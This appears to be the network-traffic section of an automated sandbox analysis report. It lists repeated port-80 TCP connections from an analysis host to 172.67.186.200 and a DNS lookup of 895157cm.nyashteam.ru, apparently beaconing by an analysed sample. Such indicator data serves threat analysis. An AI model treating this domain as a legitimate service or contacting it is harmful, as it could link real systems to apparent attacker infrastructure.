Dec 21, 2024 11:08:46.678433895 CET	49894	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:46.679338932 CET	49894	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:46.750180960 CET	80	49895	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:46.750370026 CET	49895	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:46.755736113 CET	49895	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:46.798964977 CET	80	49894	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:46.875489950 CET	80	49895	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:47.025661945 CET	49894	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:47.103754997 CET	49895	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:47.145509958 CET	80	49894	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:47.145684958 CET	80	49894	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:47.223418951 CET	80	49895	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:47.223485947 CET	80	49895	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:47.779083014 CET	80	49894	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:47.822354078 CET	49894	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:47.855570078 CET	80	49895	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:47.900512934 CET	49895	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:48.014600992 CET	80	49894	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:48.016067028 CET	49895	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:48.056580067 CET	49894	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:48.089456081 CET	80	49895	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:48.090010881 CET	49895	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:48.129709005 CET	49894	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:48.130604982 CET	49898	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:48.135962009 CET	80	49895	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:48.136018038 CET	49895	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:48.249583960 CET	80	49894	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:48.249630928 CET	49894	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:48.250171900 CET	80	49898	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:48.250258923 CET	49898	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:48.250432014 CET	49898	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:48.370318890 CET	80	49898	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:48.603724003 CET	49898	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:48.723778963 CET	80	49898	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:48.723839045 CET	80	49898	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:49.361267090 CET	80	49898	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:49.415993929 CET	49898	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:49.608665943 CET	80	49898	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:49.650516987 CET	49898	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:49.723745108 CET	49902	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:49.843353987 CET	80	49902	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:49.843436956 CET	49902	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:49.843600988 CET	49902	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:49.963156939 CET	80	49902	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:50.197458982 CET	49902	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:50.317224026 CET	80	49902	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:50.317320108 CET	80	49902	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:50.929282904 CET	80	49902	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:50.978513002 CET	49902	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:51.167591095 CET	80	49902	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:51.212878942 CET	49902	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:51.282217026 CET	49898	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:51.288731098 CET	49902	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:51.289968967 CET	49908	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:51.408571005 CET	80	49902	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:51.409486055 CET	80	49908	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:51.410180092 CET	49902	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:51.410238981 CET	49908	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:51.410368919 CET	49908	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:51.529927015 CET	80	49908	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:51.759815931 CET	49908	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:51.880283117 CET	80	49908	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:51.880805969 CET	80	49908	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:52.503593922 CET	80	49908	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:52.556617975 CET	49908	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:52.729576111 CET	80	49908	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:52.771507025 CET	49908	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:52.850296974 CET	49913	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:52.969959021 CET	80	49913	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:52.972599983 CET	49913	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:52.973138094 CET	49913	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:53.026015997 CET	49913	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:53.026702881 CET	49914	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:53.092689037 CET	80	49913	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:53.144037962 CET	49915	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:53.146482944 CET	80	49914	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:53.146564007 CET	49914	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:53.146646976 CET	49914	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:53.193619013 CET	80	49913	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:53.263710022 CET	80	49915	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:53.263786077 CET	49915	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:53.263936043 CET	49915	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:53.266182899 CET	80	49914	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:53.384063959 CET	80	49915	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:53.494371891 CET	49914	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:53.614185095 CET	80	49914	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:53.614242077 CET	80	49914	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:53.619363070 CET	49915	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:53.739084005 CET	80	49915	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:53.739268064 CET	80	49915	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:53.863910913 CET	80	49913	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:53.864114046 CET	49913	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:54.232175112 CET	80	49914	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:54.275399923 CET	49914	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:54.351417065 CET	80	49915	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:54.400402069 CET	49915	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:54.465517998 CET	80	49914	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:54.509783030 CET	49914	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:54.591655016 CET	80	49915	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:54.634767056 CET	49915	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:54.822113037 CET	49914	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:54.822243929 CET	49915	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:54.823657990 CET	49918	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:54.942291975 CET	80	49914	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:54.942832947 CET	80	49915	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:54.942893028 CET	49914	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:54.942924023 CET	49915	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:54.943250895 CET	80	49918	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:54.943358898 CET	49918	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:54.944133043 CET	49918	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:55.063703060 CET	80	49918	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:55.291095972 CET	49918	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:55.410849094 CET	80	49918	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:55.410891056 CET	80	49918	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:56.027859926 CET	80	49918	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:56.072259903 CET	49918	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:56.272731066 CET	80	49918	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:56.322367907 CET	49918	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:56.395960093 CET	49918	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:56.396683931 CET	49923	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:56.516694069 CET	80	49918	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:56.516769886 CET	49918	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:56.516988039 CET	80	49923	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:56.517070055 CET	49923	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:56.517230988 CET	49923	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:56.637335062 CET	80	49923	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:56.870074987 CET	49923	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:56.989756107 CET	80	49923	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:56.989782095 CET	80	49923	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:57.602020979 CET	80	49923	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:57.659950018 CET	49923	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:57.844551086 CET	80	49923	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:57.910443068 CET	49923	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:57.980300903 CET	49923	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:57.981468916 CET	49929	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:58.100785971 CET	80	49923	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:58.100863934 CET	49923	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:58.100927114 CET	80	49929	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:58.100992918 CET	49929	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:58.101108074 CET	49929	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:58.220696926 CET	80	49929	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:58.447376966 CET	49929	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:58.566931009 CET	80	49929	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:58.567172050 CET	80	49929	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:59.186208963 CET	80	49929	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:59.228504896 CET	49929	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:59.427499056 CET	80	49929	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:59.478498936 CET	49929	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:59.479048967 CET	49929	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:59.479871988 CET	49933	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:59.556907892 CET	49934	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:59.601219893 CET	80	49929	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:59.601239920 CET	80	49933	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:59.601289988 CET	49929	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:59.601341009 CET	49933	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:59.680176973 CET	80	49934	172.67.186.200	192.168.2.4
Dec 21, 2024 11:08:59.680258989 CET	49934	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:59.680461884 CET	49934	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:08:59.802021980 CET	80	49934	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:00.025551081 CET	49934	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:00.147490978 CET	80	49934	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:00.147809029 CET	80	49934	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:00.764579058 CET	80	49934	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:00.806654930 CET	49934	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:00.997621059 CET	80	49934	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:01.041021109 CET	49934	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:01.113650084 CET	49934	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:01.114538908 CET	49937	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:01.233688116 CET	80	49934	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:01.233777046 CET	49934	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:01.234102964 CET	80	49937	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:01.236257076 CET	49937	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:01.236361980 CET	49937	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:01.357151031 CET	80	49937	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:01.588031054 CET	49937	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:01.707691908 CET	80	49937	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:01.707804918 CET	80	49937	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:02.322263002 CET	80	49937	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:02.369168043 CET	49937	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:02.561661959 CET	80	49937	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:02.603954077 CET	49937	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:02.723478079 CET	49943	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:02.843138933 CET	80	49943	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:02.843214989 CET	49943	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:02.843342066 CET	49943	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:02.962992907 CET	80	49943	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:03.197442055 CET	49943	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:03.317121983 CET	80	49943	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:03.317214012 CET	80	49943	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:03.929033995 CET	80	49943	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:03.978533030 CET	49943	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:04.184231043 CET	80	49943	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:04.228625059 CET	49943	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:04.300127983 CET	49943	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:04.300955057 CET	49948	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:04.420097113 CET	80	49943	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:04.420178890 CET	49943	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:04.420486927 CET	80	49948	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:04.420568943 CET	49948	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:04.420725107 CET	49948	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:04.540261984 CET	80	49948	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:04.557219982 CET	49948	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:04.558417082 CET	49949	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:04.678220034 CET	49951	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:04.678991079 CET	80	49949	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:04.679065943 CET	49949	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:04.679172993 CET	49949	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:04.721412897 CET	80	49948	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:04.798782110 CET	80	49951	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:04.798871040 CET	49951	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:04.799105883 CET	49951	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:04.799503088 CET	80	49949	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:04.918822050 CET	80	49951	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:05.070645094 CET	49949	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:05.153870106 CET	49951	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:05.190881014 CET	80	49949	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:05.190915108 CET	80	49949	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:05.273581982 CET	80	49951	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:05.273627996 CET	80	49951	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:05.312040091 CET	80	49948	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:05.314270020 CET	49948	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:05.765971899 CET	80	49949	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:05.806663036 CET	49949	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:05.885026932 CET	80	49951	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:05.931746960 CET	49951	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:06.007945061 CET	80	49949	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:06.009138107 CET	49937	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:06.056668043 CET	49949	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:06.124486923 CET	80	49951	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:06.166028976 CET	49951	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:06.317076921 CET	80	49951	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:06.369175911 CET	49951	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:06.444693089 CET	49949	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:06.444855928 CET	49951	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:06.445806026 CET	49956	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:06.564718008 CET	80	49949	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:06.564791918 CET	49949	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:06.565095901 CET	80	49951	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:06.565156937 CET	49951	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:06.565531015 CET	80	49956	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:06.565697908 CET	49956	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:06.565854073 CET	49956	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:06.685832977 CET	80	49956	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:06.916337013 CET	49956	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:07.035876036 CET	80	49956	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:07.035989046 CET	80	49956	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:07.650820971 CET	80	49956	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:07.697285891 CET	49956	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:07.889599085 CET	80	49956	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:07.931710005 CET	49956	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:08.082070112 CET	49956	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:08.082622051 CET	49961	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:08.204471111 CET	80	49956	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:08.204511881 CET	80	49961	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:08.204575062 CET	49956	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:08.204585075 CET	49961	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:08.205532074 CET	49961	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:08.326756954 CET	80	49961	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:08.556767941 CET	49961	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:08.676749945 CET	80	49961	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:08.676786900 CET	80	49961	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:09.291440964 CET	80	49961	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:09.337924957 CET	49961	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:09.538408041 CET	80	49961	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:09.587927103 CET	49961	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:09.659889936 CET	49961	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:09.660790920 CET	49964	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:09.782970905 CET	80	49961	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:09.783010006 CET	80	49964	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:09.783044100 CET	49961	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:09.783091068 CET	49964	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:09.783205986 CET	49964	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:09.904582977 CET	80	49964	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:10.135010958 CET	49964	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:10.256335974 CET	80	49964	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:10.258105993 CET	80	49964	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:10.869347095 CET	80	49964	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:10.916040897 CET	49964	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:11.011414051 CET	49969	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:11.012022972 CET	49964	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:11.108933926 CET	80	49964	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:11.109005928 CET	49964	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:11.131131887 CET	80	49969	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:11.131308079 CET	49969	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:11.131468058 CET	49969	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:11.132153034 CET	49971	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:11.132364035 CET	80	49964	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:11.132481098 CET	49964	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:11.251019955 CET	80	49969	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:11.251657963 CET	80	49971	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:11.251733065 CET	49971	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:11.251854897 CET	49971	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:11.372271061 CET	80	49971	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:11.478643894 CET	49969	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:11.598253965 CET	80	49969	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:11.598370075 CET	80	49969	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:11.603615999 CET	49971	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:11.725086927 CET	80	49971	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:11.730016947 CET	80	49971	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:12.216967106 CET	80	49969	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:12.259799957 CET	49969	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:12.336841106 CET	80	49971	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:12.384798050 CET	49971	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:12.456002951 CET	80	49969	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:12.509799004 CET	49969	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:12.583122969 CET	80	49971	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:12.634805918 CET	49971	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:12.707545042 CET	49969	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:12.707614899 CET	49971	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:12.710436106 CET	49975	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:12.827778101 CET	80	49969	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:12.827841043 CET	80	49971	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:12.827868938 CET	49969	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:12.828002930 CET	49971	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:12.830068111 CET	80	49975	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:12.830161095 CET	49975	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:12.830360889 CET	49975	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:12.949939013 CET	80	49975	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:13.184448004 CET	49975	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:13.304195881 CET	80	49975	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:13.304292917 CET	80	49975	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:13.916673899 CET	80	49975	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:13.962934971 CET	49975	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:14.160003901 CET	80	49975	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:14.212937117 CET	49975	80	192.168.2.4	172.67.186.200
Dec 21, 2024 11:09:14.351705074 CET	80	49975	172.67.186.200	192.168.2.4
Dec 21, 2024 11:09:14.400547028 CET	49975	80	192.168.2.4	172.67.186.200

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 21, 2024 11:07:29.384346962 CET	54577	53	192.168.2.4	1.1.1.1
Dec 21, 2024 11:07:29.778498888 CET	53	54577	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 21, 2024 11:07:29.384346962 CET	192.168.2.4	1.1.1.1	0x91f3	Standard query (0)	895157cm.nyashteam.ru	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 21, 2024 11:07:29.778498888 CET	1.1.1.1	192.168.2.4	0x91f3	No error (0)	895157cm.nyashteam.ru		172.67.186.200	A (IP address)	IN (0x0001)	false
Dec 21, 2024 11:07:29.778498888 CET	1.1.1.1	192.168.2.4	0x91f3	No error (0)	895157cm.nyashteam.ru		104.21.2.8	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

895157cm.nyashteam.ru

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
